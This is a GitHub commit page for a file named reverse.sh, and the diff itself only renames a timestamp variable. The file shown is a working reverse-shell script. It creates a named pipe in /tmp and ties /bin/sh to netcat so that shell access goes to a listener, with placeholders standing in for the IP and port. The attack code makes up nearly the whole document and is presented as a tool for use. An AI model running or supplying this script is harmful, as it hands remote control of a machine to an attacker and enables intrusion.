Skip to content

Commit 4e46b76

Browse files
committed
Update reverse.sh
1 parent 4b3a282 commit 4e46b76

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

reverse.sh

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
#!/bin/sh
22
# This is a Linux shell script to reverse bash shell to a specific listenning IP and port.
33

4-
a=$(date +%s);
5-
backpipe="backpipe""$a";
4+
random=$(date +%s);
5+
backpipe="backpipe""$random";
66

77
mknod /tmp/$backpipe p;
88
/bin/sh 0</tmp/$backpipe | nc [Listen IP] [Listen Port] 1>/tmp/$backpipe;

0 commit comments

Comments
 (0)